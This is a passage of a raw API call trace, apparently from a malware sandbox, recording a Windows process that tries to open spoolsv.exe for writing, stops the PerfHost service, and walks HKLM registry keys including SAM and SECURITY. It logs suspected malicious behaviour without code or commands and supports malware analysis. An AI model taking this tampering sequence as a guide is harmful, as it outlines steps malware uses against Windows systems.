[0242.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0242.159] NtClose (Handle=0xc4) returned 0x0 [0242.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0242.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0242.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0242.546] NtClose (Handle=0xc4) returned 0x0 [0242.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0242.546] NtClose (Handle=0x150) returned 0x0 [0242.546] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0242.812] NtClose (Handle=0x154) returned 0x0 [0242.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0242.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0242.817] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5786eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a5786eb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a59e84b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x88800)) returned 1 [0242.888] CreateFileW (lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.888] GetLastError () returned 0x20 [0242.888] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0242.889] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0242.889] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0242.889] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x20) returned 0x8038a0 [0242.890] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0243.003] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0243.003] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0243.003] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.003] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0243.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.004] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.004] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.004] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0243.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.005] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.005] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.005] RegCloseKey (hKey=0x80000002) returned 0x0 [0243.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0243.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1c40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0243.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0243.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.008] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0243.008] RegCloseKey (hKey=0x150) returned 0x0 [0243.008] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.008] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.008] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0243.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.008] RtlFreeHeap 